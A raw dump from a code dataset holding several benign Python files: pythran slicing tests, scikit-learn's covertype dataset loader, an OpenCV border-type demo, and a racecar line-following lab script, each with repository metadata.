:]])\n\n    def test_step1slice_combination9(self):\n        \"\"\" Check for neg step/no begin/pos end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination9(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=None, end=2, step=-2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination9=[NDArray[int, :]])\n\n    def test_step1slice_combination10(self):\n        \"\"\" Check for neg step/no begin/neg end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination10(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=None, end=-10, step=-2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination10=[NDArray[int, :]])\n\n    def test_step1slice_combination11(self):\n        \"\"\" Check for neg step/pos begin/neg end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination11(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=85, end=-10, step=-2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination11=[NDArray[int, :]])\n\n    def test_step1slice_combination12(self):\n        \"\"\" Check for neg step/pos begin/no end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination12(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=85, end=None, step=-2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination12=[NDArray[int, :]])\n\n    def test_step1slice_combination13(self):\n        \"\"\" Check for neg step/pos begin/pos end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination13(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=85, end=3, step=-2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination13=[NDArray[int, :]])\n\n    def test_step1slice_combination14(self):\n        \"\"\" Check for pos step/neg begin/no end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination14(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=-3, end=None, step=-2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination14=[NDArray[int, :]])\n\n    def test_step1slice_combination15(self):\n        \"\"\" Check for neg step/neg begin/pos end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination15(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=-3, end=4, step=-2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination15=[NDArray[int, :]])\n\n    def test_step1slice_combination16(self):\n        \"\"\" Check for neg step/neg begin/neg end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination16(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=-3, end=-10, step=-2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination16=[NDArray[int, :]])\n\n    def test_step1slice_combination17(self):\n        \"\"\" Check for pos step/pos begin/neg end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination17(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=3, end=-10, step=2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination17=[NDArray[int, :]])\n\n    def test_step1slice_combination18(self):\n        \"\"\" Check for pos step/pos begin/neg end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination18(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=-80, end=80, step=2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination18=[NDArray[int, :]])\n\n    def test_step1slice_combination19(self):\n        \"\"\" Check for pos step/neg begin/neg end combination. \"\"\"\n        code = \"\"\"\ndef step1slice_combination19(a):\n    begin = {begin}\n    end = {end}\n    step = {step}\n    return (a[::][begin:end:step],\n            a[::1][begin:end:step],\n            a[87::-1][begin:end:step],\n            a[1::1][begin:end:step],\n            a[-3::-1][begin:end:step],\n            a[-89::1][begin:end:step],\n            a[88:1:-1][begin:end:step],\n            a[1:88:1][begin:end:step],\n            a[-2:1:-1][begin:end:step],\n            a[-89:88:1][begin:end:step],\n            a[88:-88:-1][begin:end:step],\n            a[2:-1:1][begin:end:step],\n            a[-1:-88:-1][begin:end:step],\n            a[-88:-1:1][begin:end:step],\n            a[:1:-1][begin:end:step],\n            a[:87:1][begin:end:step],\n            a[:-87:-1][begin:end:step],\n            a[:-3:1][begin:end:step])\n        \"\"\".format(begin=-80, end=-2, step=2)\n        self.run_test(code, numpy.arange(90),\n        step1slice_combination19=[NDArray[int, :]])\n", "meta": {"hexsha": "db53c125398a2a6bcd27659ae2435fd487f4ddad", "size": 29610, "ext": "py", "lang": "Python", "max_stars_repo_path": "pythran/tests/test_slice.py", "max_stars_repo_name": "paugier/pythran", "max_stars_repo_head_hexsha": "efc3a5af14256778deeb2eb23f7ddce3109f15bf", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-07-21T10:01:20.000Z", "max_stars_repo_stars_event_max_datetime": "2020-07-21T10:01:20.000Z", "max_issues_repo_path": "pythran/tests/test_slice.py", "max_issues_repo_name": "lsix/pythran", "max_issues_repo_head_hexsha": "dc2b0544c49a8f9fc278fc91de32b0cc97a3ef40", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pythran/tests/test_slice.py", "max_forks_repo_name": "lsix/pythran", "max_forks_repo_head_hexsha": "dc2b0544c49a8f9fc278fc91de32b0cc97a3ef40", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.1980440098, "max_line_length": 65, "alphanum_fraction": 0.4773725093, "include": true, "reason": "import numpy", "num_tokens": 9021, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43398146480389854, "lm_q2_score": 0.13477592958647094, "lm_q1q2_score": 0.058490255342243745}}
{"text": "\"\"\"Forest covertype dataset.\n\nA classic dataset for classification benchmarks, featuring categorical and\nreal-valued features.\n\nThe dataset page is available from UCI Machine Learning Repository\n\n    https://archive.ics.uci.edu/ml/datasets/Covertype\n\nCourtesy of Jock A. Blackard and Colorado State University.\n\"\"\"\n\n# Author: Lars Buitinck\n#         Peter Prettenhofer <peter.prettenhofer@gmail.com>\n# License: BSD 3 clause\n\nfrom gzip import GzipFile\nimport logging\nfrom os.path import dirname, exists, join\nfrom os import remove, makedirs\n\nimport numpy as np\nimport joblib\n\nfrom . import get_data_home\nfrom ._base import _convert_data_dataframe\nfrom ._base import _fetch_remote\nfrom ._base import RemoteFileMetadata\nfrom ..utils import Bunch\nfrom ._base import _pkl_filepath\nfrom ..utils import check_random_state\n\n\n# The original data can be found in:\n# https://archive.ics.uci.edu/ml/machine-learning-databases/covtype/covtype.data.gz\nARCHIVE = RemoteFileMetadata(\n    filename=\"covtype.data.gz\",\n    url=\"https://ndownloader.figshare.com/files/5976039\",\n    checksum=\"614360d0257557dd1792834a85a1cdebfadc3c4f30b011d56afee7ffb5b15771\",\n)\n\nlogger = logging.getLogger(__name__)\n\n# Column names reference:\n# https://archive.ics.uci.edu/ml/machine-learning-databases/covtype/covtype.info\nFEATURE_NAMES = [\n    \"Elevation\",\n    \"Aspect\",\n    \"Slope\",\n    \"Horizontal_Distance_To_Hydrology\",\n    \"Vertical_Distance_To_Hydrology\",\n    \"Horizontal_Distance_To_Roadways\",\n    \"Hillshade_9am\",\n    \"Hillshade_Noon\",\n    \"Hillshade_3pm\",\n    \"Horizontal_Distance_To_Fire_Points\",\n]\nFEATURE_NAMES += [f\"Wilderness_Area_{i}\" for i in range(4)]\nFEATURE_NAMES += [f\"Soil_Type_{i}\" for i in range(40)]\nTARGET_NAMES = [\"Cover_Type\"]\n\n\ndef fetch_covtype(\n    *,\n    data_home=None,\n    download_if_missing=True,\n    random_state=None,\n    shuffle=False,\n    return_X_y=False,\n    as_frame=False,\n):\n    \"\"\"Load the covertype dataset (classification).\n\n    Download it if necessary.\n\n    =================   ============\n    Classes                        7\n    Samples total             581012\n    Dimensionality                54\n    Features                     int\n    =================   ============\n\n    Read more in the :ref:`User Guide <covtype_dataset>`.\n\n    Parameters\n    ----------\n    data_home : str, default=None\n        Specify another download and cache folder for the datasets. By default\n        all scikit-learn data is stored in '~/scikit_learn_data' subfolders.\n\n    download_if_missing : bool, default=True\n        If False, raise a IOError if the data is not locally available\n        instead of trying to download the data from the source site.\n\n    random_state : int, RandomState instance or None, default=None\n        Determines random number generation for dataset shuffling. Pass an int\n        for reproducible output across multiple function calls.\n        See :term:`Glossary <random_state>`.\n\n    shuffle : bool, default=False\n        Whether to shuffle dataset.\n\n    return_X_y : bool, default=False\n        If True, returns ``(data.data, data.target)`` instead of a Bunch\n        object.\n\n        .. versionadded:: 0.20\n\n    as_frame : bool, default=False\n        If True, the data is a pandas DataFrame including columns with\n        appropriate dtypes (numeric). The target is a pandas DataFrame or\n        Series depending on the number of target columns. If `return_X_y` is\n        True, then (`data`, `target`) will be pandas DataFrames or Series as\n        described below.\n\n        .. versionadded:: 0.24\n\n    Returns\n    -------\n    dataset : :class:`~sklearn.utils.Bunch`\n        Dictionary-like object, with the following attributes.\n\n        data : ndarray of shape (581012, 54)\n            Each row corresponds to the 54 features in the dataset.\n        target : ndarray of shape (581012,)\n            Each value corresponds to one of\n            the 7 forest covertypes with values\n            ranging between 1 to 7.\n        frame : dataframe of shape (581012, 55)\n            Only present when `as_frame=True`. Contains `data` and `target`.\n        DESCR : str\n            Description of the forest covertype dataset.\n        feature_names : list\n            The names of the dataset columns.\n        target_names: list\n            The names of the target columns.\n\n    (data, target) : tuple if ``return_X_y`` is True\n\n        .. versionadded:: 0.20\n\n    \"\"\"\n\n    data_home = get_data_home(data_home=data_home)\n    covtype_dir = join(data_home, \"covertype\")\n    samples_path = _pkl_filepath(covtype_dir, \"samples\")\n    targets_path = _pkl_filepath(covtype_dir, \"targets\")\n    available = exists(samples_path)\n\n    if download_if_missing and not available:\n        if not exists(covtype_dir):\n            makedirs(covtype_dir)\n        logger.info(\"Downloading %s\" % ARCHIVE.url)\n\n        archive_path = _fetch_remote(ARCHIVE, dirname=covtype_dir)\n        Xy = np.genfromtxt(GzipFile(filename=archive_path), delimiter=\",\")\n        # delete archive\n        remove(archive_path)\n\n        X = Xy[:, :-1]\n        y = Xy[:, -1].astype(np.int32, copy=False)\n\n        joblib.dump(X, samples_path, compress=9)\n        joblib.dump(y, targets_path, compress=9)\n\n    elif not available and not download_if_missing:\n        raise IOError(\"Data not found and `download_if_missing` is False\")\n    try:\n        X, y\n    except NameError:\n        X = joblib.load(samples_path)\n        y = joblib.load(targets_path)\n\n    if shuffle:\n        ind = np.arange(X.shape[0])\n        rng = check_random_state(random_state)\n        rng.shuffle(ind)\n        X = X[ind]\n        y = y[ind]\n\n    module_path = dirname(__file__)\n    with open(join(module_path, \"descr\", \"covtype.rst\")) as rst_file:\n        fdescr = rst_file.read()\n\n    frame = None\n    if as_frame:\n        frame, X, y = _convert_data_dataframe(\n            caller_name=\"fetch_covtype\",\n            data=X,\n            target=y,\n            feature_names=FEATURE_NAMES,\n            target_names=TARGET_NAMES,\n        )\n    if return_X_y:\n        return X, y\n\n    return Bunch(\n        data=X,\n        target=y,\n        frame=frame,\n        target_names=TARGET_NAMES,\n        feature_names=FEATURE_NAMES,\n        DESCR=fdescr,\n    )\n", "meta": {"hexsha": "7179ac8e655d392b816e2a6f0fd67bb69a59f028", "size": 6206, "ext": "py", "lang": "Python", "max_stars_repo_path": "sklearn/datasets/_covtype.py", "max_stars_repo_name": "talahajeer/scikit-learn", "max_stars_repo_head_hexsha": "d66b42708a5912039740cd08f747229433e579b5", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-28T09:33:38.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-28T09:33:38.000Z", "max_issues_repo_path": "sklearn/datasets/_covtype.py", "max_issues_repo_name": "talahajeer/scikit-learn", "max_issues_repo_head_hexsha": "d66b42708a5912039740cd08f747229433e579b5", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-07-22T18:24:41.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-22T18:24:41.000Z", "max_forks_repo_path": "sklearn/datasets/_covtype.py", "max_forks_repo_name": "talahajeer/scikit-learn", "max_forks_repo_head_hexsha": "d66b42708a5912039740cd08f747229433e579b5", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2017-01-16T17:53:31.000Z", "max_forks_repo_forks_event_max_datetime": "2017-04-22T06:13:07.000Z", "avg_line_length": 30.2731707317, "max_line_length": 83, "alphanum_fraction": 0.6551724138, "include": true, "reason": "import numpy", "num_tokens": 1489, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.1311732101759139, "lm_q1q2_score": 0.05844153933932307}}
{"text": "import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\n\n\"\"\"\n\u5728\u8fc7\u6ee4(filtering)\u56fe\u7247\u65f6, Border \u7c7b\u578b\u5bf9\u4e8e\u4fdd\u6301\u56fe\u7247\u5927\u5c0f\u8d77\u51b3\u5b9a\u4f5c\u7528. \u56e0\u4e3a filters \u4f1a\u6269\u5c55\u56fe\u7247\u7684\n\u8fb9\u754c(edge). \n\"\"\"\n\nimg = cv2.imread('images/leaves.png')\nred = [0, 0, 255]  # boarder color\n\n# Border \u7c7b\u578b\n# cv2.BORDER_REPLICATE - Last element is replicated throughout for the total\n# width specified, for example:  11111|1234567|777777 \u76f4\u63a5\u7528\u8fb9\u754c\u7684\u989c\u8272\u586b\u5145\n#\n# cv2.BORDER_REFLECT - Border will be mirror reflection of the elements near\n# the edges, for example : 54321|1234567|76543 \u5012\u6620\n#\n# cv2.BORDER_REFLECT_101 or cv2.BORDER_DEFAULT - Similar to cv2.BORDER_REFLECT\n# but, the value at the edge is not refelcted, for example: 65432|1234567|65432\n# \u5012\u6620\uff0c\u548c\u4e0a\u9762\u7c7b\u4f3c\uff0c\u4f46\u5728\u5012\u6620\u65f6\uff0c\u4f1a\u628a\u8fb9\u754c\u7a7a\u5f00\n#\n# cv2.BORDER_WRAP - Pulls the border from the opposite edge. It will look like\n# this : 34567|1234567|12345 \u4e0a\u4e0b, \u5de6\u53f3\u91cd\u590d.\n#\n# cv2.BORDER_CONSTANT - Adds a constant colored border. The value in RGB or BGR\n# should be given as next argument. In this case Red [255, 0,0] \u5e38\u91cf\uff0c\u589e\u52a0\u7684\u53d8\u91cf\u901a\n# \u901a\u4e3avalue\u8272\n\nborder_w = [75, 75, 75, 75]\nreplicate = cv2.copyMakeBorder(img, *border_w, cv2.BORDER_REPLICATE)\nreflect = cv2.copyMakeBorder(img, *border_w, cv2.BORDER_REFLECT)\nreflect_101 = cv2.copyMakeBorder(img, *border_w, cv2.BORDER_REFLECT_101)\nwrap = cv2.copyMakeBorder(img, *border_w, cv2.BORDER_WRAP)\nconstant = cv2.copyMakeBorder(img, *border_w, cv2.BORDER_CONSTANT, value=red)\n\nimg_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\nreplicate_rgb = cv2.cvtColor(replicate, cv2.COLOR_BGR2RGB)\nreflect_rgb = cv2.cvtColor(reflect, cv2.COLOR_BGR2RGB)\nreflect_101_rgb = cv2.cvtColor(reflect_101, cv2.COLOR_BGR2RGB)\nwrap_rgb = cv2.cvtColor(wrap, cv2.COLOR_BGR2RGB)\nconstant_rgb = cv2.cvtColor(constant, cv2.COLOR_BGR2RGB)\n\nplt.subplot(231), plt.imshow(img_rgb), plt.title('Original')\nplt.xticks([]), plt.yticks([])\n\nplt.subplot(232), plt.imshow(replicate_rgb), plt.title('REPLICATE')\nplt.xticks([]), plt.yticks([])\n\nplt.subplot(233), plt.imshow(reflect_rgb), plt.title('REFLECT')\nplt.xticks([]), plt.yticks([])\n\nplt.subplot(234), plt.imshow(reflect_101_rgb), plt.title('REFLECT_101')\nplt.xticks([]), plt.yticks([])\n\nplt.subplot(235), plt.imshow(wrap_rgb), plt.title('WRAP')\nplt.xticks([]), plt.yticks([])\n\nplt.subplot(236), plt.imshow(constant_rgb), plt.title('CONSTANT')\nplt.xticks([]), plt.yticks([])\n\nplt.show()\n\n# \u7ed3\u8bba: \u901a\u5e38\u91c7\u7528 reflection \u4f5c\u4e3a boarder\n# TODO: \u901a\u8fc7\u6570\u636e\u8bf4\u660e\u4e3a\u4f55 reflection \u6700\u597d\n", "meta": {"hexsha": "0850e41be0d4fb43fdde3e6fadd063f8218332fc", "size": 2335, "ext": "py", "lang": "Python", "max_stars_repo_path": "computer_vision/05_border_types.py", "max_stars_repo_name": "KECB/learn", "max_stars_repo_head_hexsha": "5b52c5c3ac640dd2a9064c33baaa9bc1885cf15f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2017-09-25T04:29:59.000Z", "max_stars_repo_stars_event_max_datetime": "2018-11-04T09:53:59.000Z", "max_issues_repo_path": "computer_vision/05_border_types.py", "max_issues_repo_name": "KECB/learn", "max_issues_repo_head_hexsha": "5b52c5c3ac640dd2a9064c33baaa9bc1885cf15f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "computer_vision/05_border_types.py", "max_forks_repo_name": "KECB/learn", "max_forks_repo_head_hexsha": "5b52c5c3ac640dd2a9064c33baaa9bc1885cf15f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.8507462687, "max_line_length": 79, "alphanum_fraction": 0.7503211991, "include": true, "reason": "import numpy", "num_tokens": 791, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.1225232173242878, "lm_q1q2_score": 0.05839207215960802}}
{"text": "\"\"\"\nCopyright MIT and Harvey Mudd College\nMIT License\nSummer 2020\n\nLab 2A - Color Image Line Following\n\"\"\"\n\n########################################################################################\n# Imports\n########################################################################################\n\nimport sys\nimport cv2 as cv\nimport numpy as np\n\nsys.path.insert(1, \"../../library\")\nimport racecar_core\nimport racecar_utils as rc_utils\n\n########################################################################################\n# Global variables\n########################################################################################\n\nrc = racecar_core.create_racecar()\n\n# >> Constants\n# The smallest contour we will recognize as a valid contour\nMIN_CONTOUR_AREA = 30\n\n# A crop window for the floor directly in front of the car\nCROP_FLOOR = ((360, 0), (rc.camera.get_height(), rc.camera.get_width()))\n\n# Colors, stored as a pair (hsv_min, hsv_max)\nBLUE = ((90, 50, 50), (100, 255, 255))  # The HSV range for the color blue\nGREEN = ((35,50,50),(70,255,255))\nRED = ((0,50,50),(10,255,255))\n# TODO (challenge 1): add HSV ranges for other colors DONE\n\n# >> Variables\nspeed = 0.0  # The current speed of the car\nangle = 0.0  # The current angle of the car's wheels\ncontour_center = None  # The (pixel row, pixel column) of contour\ncontour_area = 0  # The area of contour\ncolor_priority = (BLUE,RED,GREEN)\n\n########################################################################################\n# Functions\n########################################################################################\n\n\ndef update_contour():\n    \"\"\"\n    Finds contours in the current color image and uses them to update contour_center\n    and contour_area\n    \"\"\"\n    global contour_center\n    global contour_area\n\n    image = rc.camera.get_color_image()\n\n    if image is None:\n        contour_center = None\n        contour_area = 0\n    else:\n        # TODO (challenge 1): Search for multiple tape colors with a priority order DONE\n        # (currently we only search for blue)\n\n        # Crop the image to the floor directly in front of the car\n        image = rc_utils.crop(image, CROP_FLOOR[0], CROP_FLOOR[1])\n\n        # Find all of the colored contours\n        for color in color_priority:\n            contours = rc_utils.find_contours(image, color[0], color[1])\n            if len(contours) > 0:\n                break\n\n        # Select the largest contour\n        contour = rc_utils.get_largest_contour(contours, MIN_CONTOUR_AREA)\n\n        if contour is not None:\n            # Calculate contour information\n            contour_center = rc_utils.get_contour_center(contour)\n            contour_area = rc_utils.get_contour_area(contour)\n\n            # Draw contour onto the image\n            rc_utils.draw_contour(image, contour)\n            rc_utils.draw_circle(image, contour_center)\n\n        else:\n            contour_center = None\n            contour_area = 0\n\n        # Display the image to the screen\n        rc.display.show_color_image(image)\n\n\ndef start():\n    \"\"\"\n    This function is run once every time the start button is pressed\n    \"\"\"\n    global speed\n    global angle\n\n    # Initialize variables\n    speed = 0\n    angle = 0\n\n    # Set initial driving speed and angle\n    rc.drive.set_speed_angle(speed, angle)\n\n    # Set update_slow to refresh every half second\n    rc.set_update_slow_time(0.5)\n\n    # Print start message\n    print(\n        \">> Lab 2A - Color Image Line Following\\n\"\n        \"\\n\"\n        \"Controls:\\n\"\n        \"   Right trigger = accelerate forward\\n\"\n        \"   Left trigger = accelerate backward\\n\"\n        \"   A button = print current speed and angle\\n\"\n        \"   B button = print contour center and area\"\n    )\n\n\ndef update():\n    \"\"\"\n    After start() is run, this function is run every frame until the back button\n    is pressed\n    \"\"\"\n    global speed\n    global angle\n\n    # Search for contours in the current color image\n    update_contour()\n\n    # Choose an angle based on contour_center\n    # If we could not find a contour, keep the previous angle\n    if contour_center is not None:\n        # Current implementation: bang-bang control (very choppy)\n        # TODO (warmup): Implement a smoother way to follow the line\n        errorTerm = contour_center[1]-320\n        angle = errorTerm/320\n        #dimensionsa re 480x640\n    # Use the triggers to control the car's speed\n    forwardSpeed = rc.controller.get_trigger(rc.controller.Trigger.RIGHT)\n    backSpeed = rc.controller.get_trigger(rc.controller.Trigger.LEFT)\n    speed = forwardSpeed - backSpeed\n\n    rc.drive.set_speed_angle(speed, angle)\n\n    # Print the current speed and angle when the A button is held down\n    if rc.controller.is_down(rc.controller.Button.A):\n        print(\"Speed:\", speed, \"Angle:\", angle)\n\n    # Print the center and area of the largest contour when B is held down\n    if rc.controller.is_down(rc.controller.Button.B):\n        if contour_center is None:\n            print(\"No contour found\")\n        else:\n            print(\"Center:\", contour_center, \"Area:\", contour_area)\n\n\ndef update_slow():\n    \"\"\"\n    After start() is run, this function is run at a constant rate that is slower\n    than update().  By default, update_slow() is run once per second\n    \"\"\"\n    # Print a line of ascii text denoting the contour area and x-position\n    if rc.camera.get_color_image() is None:\n        # If no image is found, print all X's and don't display an image\n        print(\"X\" * 10 + \" (No image) \" + \"X\" * 10)\n    else:\n        # If an image is found but no contour is found, print all dashes\n        if contour_center is None:\n            print(\"-\" * 32 + \" : area = \" + str(contour_area))\n\n        # Otherwise, print a line of dashes with a | indicating the contour x-position\n        else:\n            s = [\"-\"] * 32\n            s[int(contour_center[1] / 20)] = \"|\"\n            print(\"\".join(s) + \" : area = \" + str(contour_area))\n\n\n########################################################################################\n# DO NOT MODIFY: Register start and update and begin execution\n########################################################################################\n\nif __name__ == \"__main__\":\n    rc.set_start_update(start, update, update_slow)\n    rc.go()\n", "meta": {"hexsha": "0a3d3ea63e2ab05d75bc8f68f00d0c215ba04505", "size": 6269, "ext": "py", "lang": "Python", "max_stars_repo_path": "labs/lab2/lab2a.py", 